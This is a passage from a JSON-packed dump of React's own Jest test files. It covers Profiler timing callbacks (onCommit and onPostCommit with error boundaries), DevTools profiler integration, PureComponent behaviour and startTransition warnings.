getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        return this.state.error === null\n          ? this.props.children\n          : this.props.fallback;\n      }\n    }\n\n    const ComponentWithEffects = ({\n      cleanupDuration,\n      duration,\n      effectDuration,\n      shouldThrow,\n    }) => {\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(effectDuration);\n        if (shouldThrow) {\n          throw Error('expected');\n        }\n        return () => {\n          Scheduler.unstable_advanceTime(cleanupDuration);\n        };\n      });\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n\n    Scheduler.unstable_advanceTime(1);\n\n    // Test an error that happens during an effect\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root\" onCommit={callback}>\n          <ErrorBoundary\n            fallback={\n              <ComponentWithEffects\n                duration={10000000}\n                effectDuration={100000000}\n                cleanupDuration={1000000000}\n              />\n            }>\n            <ComponentWithEffects\n              duration={10}\n              effectDuration={100}\n              cleanupDuration={1000}\n              shouldThrow={true}\n            />\n          </ErrorBoundary>\n          <ComponentWithEffects\n            duration={10000}\n            effectDuration={100000}\n            cleanupDuration={1000000}\n          />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    let call = callback.mock.calls[0];\n\n    // Initial render (with error)\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(100100); // durations\n    expect(call[3]).toBe(10011); // commit start time (before mutations or effects)\n\n    call = callback.mock.calls[1];\n\n    // Cleanup render from error boundary\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('nested-update');\n    expect(call[2]).toBe(100000000); // durations\n    expect(call[3]).toBe(10110111); // commit start time (before mutations or effects)\n  });\n\n  it('should properly report time in layout effect cleanup functions even when there are errors', async () => {\n    const callback = jest.fn();\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        return this.state.error === null\n          ? this.props.children\n          : this.props.fallback;\n      }\n    }\n\n    const ComponentWithEffects = ({\n      cleanupDuration,\n      duration,\n      effectDuration,\n      shouldThrow = false,\n    }) => {\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(effectDuration);\n        return () => {\n          Scheduler.unstable_advanceTime(cleanupDuration);\n          if (shouldThrow) {\n            throw Error('expected');\n          }\n        };\n      });\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n\n    Scheduler.unstable_advanceTime(1);\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root\" onCommit={callback}>\n          <ErrorBoundary\n            fallback={\n              <ComponentWithEffects\n                duration={10000000}\n                effectDuration={100000000}\n                cleanupDuration={1000000000}\n              />\n            }>\n            <ComponentWithEffects\n              duration={10}\n              effectDuration={100}\n              cleanupDuration={1000}\n              shouldThrow={true}\n            />\n          </ErrorBoundary>\n          <ComponentWithEffects\n            duration={10000}\n            effectDuration={100000}\n            cleanupDuration={1000000}\n          />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    // Initial render\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(100100); // durations\n    expect(call[3]).toBe(10011); // commit start time (before mutations or effects)\n\n    callback.mockClear();\n\n    // Test an error that happens during an cleanup function\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root\" onCommit={callback}>\n          <ErrorBoundary\n            fallback={\n              <ComponentWithEffects\n                duration={10000000}\n                effectDuration={100000000}\n                cleanupDuration={1000000000}\n              />\n            }>\n            <ComponentWithEffects\n              duration={10}\n              effectDuration={100}\n              cleanupDuration={1000}\n              shouldThrow={false}\n            />\n          </ErrorBoundary>\n          <ComponentWithEffects\n            duration={10000}\n            effectDuration={100000}\n            cleanupDuration={1000000}\n          />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    call = callback.mock.calls[0];\n\n    // Update (that throws)\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(1101100); // durations\n    expect(call[3]).toBe(120121); // commit start time (before mutations or effects)\n\n    call = callback.mock.calls[1];\n\n    // Cleanup render from error boundary\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('nested-update');\n    expect(call[2]).toBe(100001000); // durations\n    expect(call[3]).toBe(11221221); // commit start time (before mutations or effects)\n  });\n});\n\ndescribe(`onPostCommit`, () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    loadModules();\n  });\n\n  it('should report time spent in passive effects', async () => {\n    const callback = jest.fn();\n\n    const ComponentWithEffects = () => {\n      React.useLayoutEffect(() => {\n        // This layout effect is here to verify that its time isn't reported.\n        Scheduler.unstable_advanceTime(5);\n        return () => {\n          Scheduler.unstable_advanceTime(7);\n        };\n      });\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(10);\n        return () => {\n          Scheduler.unstable_advanceTime(100);\n        };\n      }, []);\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(1000);\n        return () => {\n          Scheduler.unstable_advanceTime(10000);\n        };\n      });\n      return null;\n    };\n\n    Scheduler.unstable_advanceTime(1);\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"mount-test\" onPostCommit={callback}>\n          <ComponentWithEffects />\n        </React.Profiler>,\n      );\n    });\n    await waitForAll([]);\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('mount-test');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(1010); // durations\n    expect(call[3]).toBe(1); // commit start time (before mutations or effects)\n\n    Scheduler.unstable_advanceTime(1);\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"update-test\" onPostCommit={callback}>\n          <ComponentWithEffects />\n        </React.Profiler>,\n      );\n    });\n    await waitForAll([]);\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    call = callback.mock.calls[1];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('update-test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(11000); // durations\n    expect(call[3]).toBe(1017); // commit start time (before mutations or effects)\n\n    Scheduler.unstable_advanceTime(1);\n\n    await act(() => {\n      root.render(<React.Profiler id=\"unmount-test\" onPostCommit={callback} />);\n    });\n    await waitForAll([]);\n\n    expect(callback).toHaveBeenCalledTimes(3);\n\n    call = callback.mock.calls[2];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('unmount-test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(10100); // durations\n    expect(call[3]).toBe(12030); // commit start time (before mutations or effects)\n  });\n\n  it('should report time spent in passive effects with cascading renders', async () => {\n    const callback = jest.fn();\n\n    const ComponentWithEffects = () => {\n      const [didMount, setDidMount] = React.useState(false);\n      Scheduler.unstable_advanceTime(1000);\n      React.useEffect(() => {\n        if (!didMount) {\n          setDidMount(true);\n        }\n        Scheduler.unstable_advanceTime(didMount ? 30 : 10);\n        return () => {\n          Scheduler.unstable_advanceTime(100);\n        };\n      }, [didMount]);\n      return null;\n    };\n\n    Scheduler.unstable_advanceTime(1);\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"mount-test\" onPostCommit={callback}>\n          <ComponentWithEffects />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('mount-test');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(10); // durations\n    expect(call[3]).toBe(1001); // commit start time (before mutations or effects)\n\n    call = callback.mock.calls[1];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('mount-test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(130); // durations\n    expect(call[3]).toBe(2011); // commit start time (before mutations or effects)\n  });\n\n  it('should bubble time spent in effects to higher profilers', async () => {\n    const callback = jest.fn();\n\n    const ComponentWithEffects = ({cleanupDuration, duration, setCountRef}) => {\n      const setCount = React.useState(0)[1];\n      if (setCountRef != null) {\n        setCountRef.current = setCount;\n      }\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(duration);\n        return () => {\n          Scheduler.unstable_advanceTime(cleanupDuration);\n        };\n      });\n      Scheduler.unstable_advanceTime(1);\n      return null;\n    };\n\n    const setCountRef = React.createRef(null);\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root-mount\" onPostCommit={callback}>\n          <React.Profiler id=\"a\">\n            <ComponentWithEffects\n              duration={10}\n              cleanupDuration={100}\n              setCountRef={setCountRef}\n            />\n          </React.Profiler>\n          <React.Profiler id=\"b\">\n            <ComponentWithEffects duration={1000} cleanupDuration={10000} />\n          </React.Profiler>\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root-mount');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(1010); // durations\n    expect(call[3]).toBe(2); // commit start time (before mutations or effects)\n\n    await act(() => setCountRef.current(count => count + 1));\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    call = callback.mock.calls[1];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root-mount');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(110); // durations\n    expect(call[3]).toBe(1013); // commit start time (before mutations or effects)\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root-update\" onPostCommit={callback}>\n          <React.Profiler id=\"b\">\n            <ComponentWithEffects duration={1000} cleanupDuration={10000} />\n          </React.Profiler>\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(3);\n\n    call = callback.mock.calls[2];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root-update');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(11100); // durations\n    expect(call[3]).toBe(1124); // commit start time (before mutations or effects)\n  });\n\n  it('should properly report time in passive effects even when there are errors', async () => {\n    const callback = jest.fn();\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        return this.state.error === null\n          ? this.props.children\n          : this.props.fallback;\n      }\n    }\n\n    const ComponentWithEffects = ({\n      cleanupDuration,\n      duration,\n      effectDuration,\n      shouldThrow,\n    }) => {\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(effectDuration);\n        if (shouldThrow) {\n          throw Error('expected');\n        }\n        return () => {\n          Scheduler.unstable_advanceTime(cleanupDuration);\n        };\n      });\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n\n    Scheduler.unstable_advanceTime(1);\n\n    // Test an error that happens during an effect\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root\" onPostCommit={callback}>\n          <ErrorBoundary\n            fallback={\n              <ComponentWithEffects\n                duration={10000000}\n                effectDuration={100000000}\n                cleanupDuration={1000000000}\n              />\n            }>\n            <ComponentWithEffects\n              duration={10}\n              effectDuration={100}\n              cleanupDuration={1000}\n              shouldThrow={true}\n            />\n          </ErrorBoundary>\n          <ComponentWithEffects\n            duration={10000}\n            effectDuration={100000}\n            cleanupDuration={1000000}\n          />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    let call = callback.mock.calls[0];\n\n    // Initial render (with error)\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(100100); // durations\n    expect(call[3]).toBe(10011); // commit start time (before mutations or effects)\n\n    call = callback.mock.calls[1];\n\n    // Cleanup render from error boundary\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(100000000); // durations\n    expect(call[3]).toBe(10110111); // commit start time (before mutations or effects)\n  });\n\n  it('should properly report time in passive effect cleanup functions even when there are errors', async () => {\n    const callback = jest.fn();\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        return this.state.error === null\n          ? this.props.children\n          : this.props.fallback;\n      }\n    }\n\n    const ComponentWithEffects = ({\n      cleanupDuration,\n      duration,\n      effectDuration,\n      shouldThrow = false,\n      id,\n    }) => {\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(effectDuration);\n        return () => {\n          Scheduler.unstable_advanceTime(cleanupDuration);\n          if (shouldThrow) {\n            throw Error('expected');\n          }\n        };\n      });\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n\n    Scheduler.unstable_advanceTime(1);\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root\" onPostCommit={callback}>\n          <ErrorBoundary\n            fallback={\n              <ComponentWithEffects\n                duration={10000000}\n                effectDuration={100000000}\n                cleanupDuration={1000000000}\n              />\n            }>\n            <ComponentWithEffects\n              duration={10}\n              effectDuration={100}\n              cleanupDuration={1000}\n              shouldThrow={true}\n            />\n          </ErrorBoundary>\n          <ComponentWithEffects\n            duration={10000}\n            effectDuration={100000}\n            cleanupDuration={1000000}\n          />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    // Initial render\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(100100); // durations\n    expect(call[3]).toBe(10011); // commit start time (before mutations or effects)\n\n    callback.mockClear();\n\n    // Test an error that happens during an cleanup function\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root\" onPostCommit={callback}>\n          <ErrorBoundary\n            fallback={\n              <ComponentWithEffects\n                duration={10000000}\n                effectDuration={100000000}\n                cleanupDuration={1000000000}\n              />\n            }>\n            <ComponentWithEffects\n              duration={10}\n              effectDuration={100}\n              cleanupDuration={1000}\n              shouldThrow={false}\n            />\n          </ErrorBoundary>\n          <ComponentWithEffects\n            duration={10000}\n            effectDuration={100000}\n            cleanupDuration={1000000}\n          />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    call = callback.mock.calls[0];\n\n    // Update (that throws)\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('update');\n    // We continue flushing pending effects even if one throws.\n    expect(call[2]).toBe(1101100); // durations\n    expect(call[3]).toBe(120121); // commit start time (before mutations or effects)\n\n    call = callback.mock.calls[1];\n\n    // Cleanup render from error boundary\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(100001000); // durations\n    // The commit time varies because the above duration time varies\n    expect(call[3]).toBe(11221221); // commit start time (before mutations or effects)\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactProfilerComponent-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactFeatureFlags;\nlet act;\nlet container;\nlet assertConsoleErrorDev;\n\nfunction loadModules({\n  enableProfilerTimer = true,\n  enableProfilerCommitHooks = true,\n  enableProfilerNestedUpdatePhase = true,\n} = {}) {\n  ReactFeatureFlags = require('shared/ReactFeatureFlags');\n\n  ReactFeatureFlags.enableProfilerTimer = enableProfilerTimer;\n  ReactFeatureFlags.enableProfilerCommitHooks = enableProfilerCommitHooks;\n  ReactFeatureFlags.enableProfilerNestedUpdatePhase =\n    enableProfilerNestedUpdatePhase;\n\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  const InternalTestUtils = require('internal-test-utils');\n  act = InternalTestUtils.act;\n  assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n}\n\ndescribe('Profiler', () => {\n  beforeEach(() => {\n    container = document.createElement('div');\n  });\n\n  describe('works in profiling and non-profiling bundles', () => {\n    [true, false].forEach(enableProfilerTimer => {\n      describe(`enableProfilerTimer:${\n        enableProfilerTimer ? 'enabled' : 'disabled'\n      }`, () => {\n        beforeEach(() => {\n          jest.resetModules();\n\n          loadModules({enableProfilerTimer});\n        });\n\n        // This will throw in production too,\n        // But the test is only interested in verifying the DEV error message.\n        if (__DEV__ && enableProfilerTimer) {\n          it('should warn if required params are missing', async () => {\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<React.Profiler />);\n            });\n            assertConsoleErrorDev([\n              'Profiler must specify an \"id\" of type `string` as a prop. Received the type `undefined` instead.',\n            ]);\n          });\n        }\n\n        it('should support an empty Profiler (with no children)', async () => {\n          const root = ReactDOMClient.createRoot(container);\n          // As root\n          await act(() => {\n            root.render(<React.Profiler id=\"label\" onRender={jest.fn()} />);\n          });\n          expect(container.innerHTML).toMatchSnapshot();\n\n          // As non-root\n          await act(() => {\n            root.render(\n              <div>\n                <React.Profiler id=\"label\" onRender={jest.fn()} />\n              </div>,\n            );\n          });\n          expect(container.innerHTML).toMatchSnapshot();\n        });\n\n        it('should render children', async () => {\n          const FunctionComponent = ({label}) => <span>{label}</span>;\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(\n              <div>\n                <span>outside span</span>\n                <React.Profiler id=\"label\" onRender={jest.fn()}>\n                  <span>inside span</span>\n                  <FunctionComponent label=\"function component\" />\n                </React.Profiler>\n              </div>,\n            );\n          });\n          expect(container.innerHTML).toMatchSnapshot();\n        });\n\n        it('should support nested Profilers', async () => {\n          const FunctionComponent = ({label}) => <div>{label}</div>;\n          class ClassComponent extends React.Component {\n            render() {\n              return <span>{this.props.label}</span>;\n            }\n          }\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(\n              <React.Profiler id=\"outer\" onRender={jest.fn()}>\n                <FunctionComponent label=\"outer function component\" />\n                <React.Profiler id=\"inner\" onRender={jest.fn()}>\n                  <ClassComponent label=\"inner class component\" />\n                  <span>inner span</span>\n                </React.Profiler>\n              </React.Profiler>,\n            );\n          });\n\n          expect(container.innerHTML).toMatchSnapshot();\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactProfilerDevToolsIntegration-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\ndescribe('ReactProfiler DevTools integration', () => {\n  let React;\n  let ReactFeatureFlags;\n  let ReactTestRenderer;\n  let Scheduler;\n  let AdvanceTime;\n  let hook;\n  let waitForAll;\n  let waitFor;\n  let act;\n\n  beforeEach(() => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__ = hook = {\n      inject: () => {},\n      onCommitFiberRoot: jest.fn((rendererId, root) => {}),\n      onCommitFiberUnmount: () => {},\n      supportsFiber: true,\n    };\n\n    jest.resetModules();\n\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.enableProfilerTimer = true;\n    Scheduler = require('scheduler');\n    React = require('react');\n    ReactTestRenderer = require('react-test-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    act = InternalTestUtils.act;\n\n    AdvanceTime = class extends React.Component {\n      static defaultProps = {\n        byAmount: 10,\n        shouldComponentUpdate: true,\n      };\n      shouldComponentUpdate(nextProps) {\n        return nextProps.shouldComponentUpdate;\n      }\n      render() {\n        // Simulate time passing when this component is rendered\n        Scheduler.unstable_advanceTime(this.props.byAmount);\n        return this.props.children || null;\n      }\n    };\n  });\n\n  it('should auto-Profile all fibers if the DevTools hook is detected', async () => {\n    const App = ({multiplier}) => {\n      Scheduler.unstable_advanceTime(2);\n      return (\n        <React.Profiler id=\"Profiler\" onRender={onRender}>\n          <AdvanceTime byAmount={3 * multiplier} shouldComponentUpdate={true} />\n          <AdvanceTime\n            byAmount={7 * multiplier}\n            shouldComponentUpdate={false}\n          />\n        </React.Profiler>\n      );\n    };\n\n    const onRender = jest.fn(() => {});\n    let rendered;\n    await act(() => {\n      rendered = ReactTestRenderer.create(<App multiplier={1} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    expect(hook.onCommitFiberRoot).toHaveBeenCalledTimes(1);\n\n    // Measure observable timing using the Profiler component.\n    // The time spent in App (above the Profiler) won't be included in the durations,\n    // But needs to be accounted for in the offset times.\n    expect(onRender).toHaveBeenCalledTimes(1);\n    expect(onRender).toHaveBeenCalledWith('Profiler', 'mount', 10, 10, 2, 12);\n    onRender.mockClear();\n\n    // Measure unobservable timing required by the DevTools profiler.\n    // At this point, the base time should include both:\n    // The time 2ms in the App component itself, and\n    // The 10ms spend in the Profiler sub-tree beneath.\n    expect(rendered.root.findByType(App)._currentFiber().treeBaseDuration).toBe(\n      12,\n    );\n\n    await act(() => {\n      rendered.update(<App multiplier={2} />);\n    });\n\n    // Measure observable timing using the Profiler component.\n    // The time spent in App (above the Profiler) won't be included in the durations,\n    // But needs to be accounted for in the offset times.\n    expect(onRender).toHaveBeenCalledTimes(1);\n    expect(onRender).toHaveBeenCalledWith('Profiler', 'update', 6, 13, 14, 20);\n\n    // Measure unobservable timing required by the DevTools profiler.\n    // At this point, the base time should include both:\n    // The initial 9ms for the components that do not re-render, and\n    // The updated 6ms for the component that does.\n    expect(rendered.root.findByType(App)._currentFiber().treeBaseDuration).toBe(\n      15,\n    );\n  });\n\n  it('should reset the fiber stack correctly after an error when profiling host roots', async () => {\n    Scheduler.unstable_advanceTime(20);\n\n    let rendered;\n    await act(() => {\n      rendered = ReactTestRenderer.create(\n        <div>\n          <AdvanceTime byAmount={2} />\n        </div>,\n        {unstable_isConcurrent: true},\n      );\n    });\n\n    Scheduler.unstable_advanceTime(20);\n\n    function Throws() {\n      throw new Error('Oops!');\n    }\n\n    await expect(async () => {\n      await act(() => {\n        rendered.update(\n          <Throws>\n            <AdvanceTime byAmount={3} />\n          </Throws>,\n        );\n      });\n    }).rejects.toThrow('Oops!');\n\n    Scheduler.unstable_advanceTime(20);\n\n    await act(() => {\n      // But this should render correctly, if the profiler's fiber stack has been reset.\n      rendered.update(\n        <div>\n          <AdvanceTime byAmount={7} />\n        </div>,\n      );\n    });\n\n    // Measure unobservable timing required by the DevTools profiler.\n    // At this point, the base time should include only the most recent (not failed) render.\n    // It should not include time spent on the initial render,\n    // Or time that elapsed between any of the above renders.\n    expect(\n      rendered.root.findByType('div')._currentFiber().treeBaseDuration,\n    ).toBe(7);\n  });\n\n  it('regression test: #17159', async () => {\n    function Text({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    });\n\n    // Commit something\n    root.update(<Text text=\"A\" />);\n    await waitForAll(['A']);\n    expect(root).toMatchRenderedOutput('A');\n\n    // Advance time by many seconds, larger than the default expiration time\n    // for updates.\n    Scheduler.unstable_advanceTime(10000);\n    // Schedule an update.\n    React.startTransition(() => {\n      root.update(<Text text=\"B\" />);\n    });\n\n    // Update B should not instantly expire.\n    await waitFor([]);\n\n    await waitForAll(['B']);\n    expect(root).toMatchRenderedOutput('B');\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactPureComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet act;\nlet assertConsoleErrorDev;\nlet React;\nlet ReactDOMClient;\n\ndescribe('ReactPureComponent', () => {\n  beforeEach(() => {\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n  });\n\n  it('should render', async () => {\n    let renders = 0;\n    class Component extends React.PureComponent {\n      constructor() {\n        super();\n        this.state = {type: 'mushrooms'};\n      }\n      render() {\n        renders++;\n        return <div>{this.props.text[0]}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let text;\n    const componentRef = React.createRef();\n\n    text = ['porcini'];\n    await act(() => {\n      root.render(<Component ref={componentRef} text={text} />);\n    });\n    expect(container.textContent).toBe('porcini');\n    expect(renders).toBe(1);\n\n    text = ['morel'];\n    await act(() => {\n      root.render(<Component ref={componentRef} text={text} />);\n    });\n    expect(container.textContent).toBe('morel');\n    expect(renders).toBe(2);\n\n    text[0] = 'portobello';\n    await act(() => {\n      root.render(<Component ref={componentRef} text={text} />);\n    });\n    expect(container.textContent).toBe('morel');\n    expect(renders).toBe(2);\n\n    // Setting state without changing it doesn't cause a rerender.\n    await act(() => {\n      componentRef.current.setState({type: 'mushrooms'});\n    });\n    expect(container.textContent).toBe('morel');\n    expect(renders).toBe(2);\n\n    // But changing state does.\n    await act(() => {\n      componentRef.current.setState({type: 'portobello mushrooms'});\n    });\n    expect(container.textContent).toBe('portobello');\n    expect(renders).toBe(3);\n  });\n\n  it('can override shouldComponentUpdate', async () => {\n    let renders = 0;\n    class Component extends React.PureComponent {\n      render() {\n        renders++;\n        return <div />;\n      }\n      shouldComponentUpdate() {\n        return true;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Component has a method called shouldComponentUpdate(). ' +\n        'shouldComponentUpdate should not be used when extending React.PureComponent. ' +\n        'Please extend React.Component if shouldComponentUpdate is used.\\n' +\n        '    in Component (at **)',\n    ]);\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(renders).toBe(2);\n  });\n\n  it('extends React.Component', async () => {\n    let renders = 0;\n    class Component extends React.PureComponent {\n      render() {\n        expect(this instanceof React.Component).toBe(true);\n        expect(this instanceof React.PureComponent).toBe(true);\n        renders++;\n        return <div />;\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(renders).toBe(1);\n  });\n\n  it('should warn when shouldComponentUpdate is defined on React.PureComponent', async () => {\n    class PureComponent extends React.PureComponent {\n      shouldComponentUpdate() {\n        return true;\n      }\n      render() {\n        return <div />;\n      }\n    }\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<PureComponent />);\n    });\n    assertConsoleErrorDev([\n      'PureComponent has a method called shouldComponentUpdate(). ' +\n        'shouldComponentUpdate should not be used when extending React.PureComponent. ' +\n        'Please extend React.Component if shouldComponentUpdate is used.\\n' +\n        '    in PureComponent (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactStartTransition-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactTestRenderer;\nlet act;\nlet assertConsoleWarnDev;\nlet useState;\nlet useTransition;\n\nconst SUSPICIOUS_NUMBER_OF_FIBERS_UPDATED = 10;\n\ndescribe('ReactStartTransition', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactTestRenderer = require('react-test-renderer');\n    ({act, assertConsoleWarnDev} = require('internal-test-utils'));\n    useState = React.useState;\n    useTransition = React.useTransition;\n  });\n\n  it('Warns if a suspicious number of fibers are updated inside startTransition', async () => {\n    const subs = new Set();\n    const useUserSpaceSubscription = () => {\n      const setState = useState(0)[1];\n      subs.add(setState);\n    };\n\n    let triggerHookTransition;\n\n    const Component = ({level}) => {\n      useUserSpaceSubscription();\n      if (level === 0) {\n        triggerHookTransition = useTransition()[1];\n      }\n      if (level < SUSPICIOUS_NUMBER_OF_FIBERS_UPDATED) {\n        return <Component level={level + 1} />;\n      }\n      return null;\n    };\n\n    await act(() => {\n      ReactTestRenderer.create(<Component level={0} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    await act(() => {\n      React.startTransition(() => {\n        subs.forEach(setState => {\n          setState(state => state + 1);\n        });\n      });\n    });\n    assertConsoleWarnDev([\n      'Detected a large number of updates inside startTransition. ' +\n        'If this is due to a subscription please re-write it to use React provided hooks. ' +\n        'Otherwise concurrent mode guarantees are off the table.',\n    ]);\n\n    await act(() => {\n      triggerHookTransition(() => {\n        subs.forEach(setState => {\n          setState(state => state + 1);\n        });\n      });\n    });\n    assertConsoleWarnDev([\n      'Detected a large number of updates inside startTransition. ' +\n        'If this is due to a subscription please re-write it to use React provided hooks. ' +\n        'Otherwise concurrent mode guarantees are off the table.',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactStrictMode-test.internal.js",
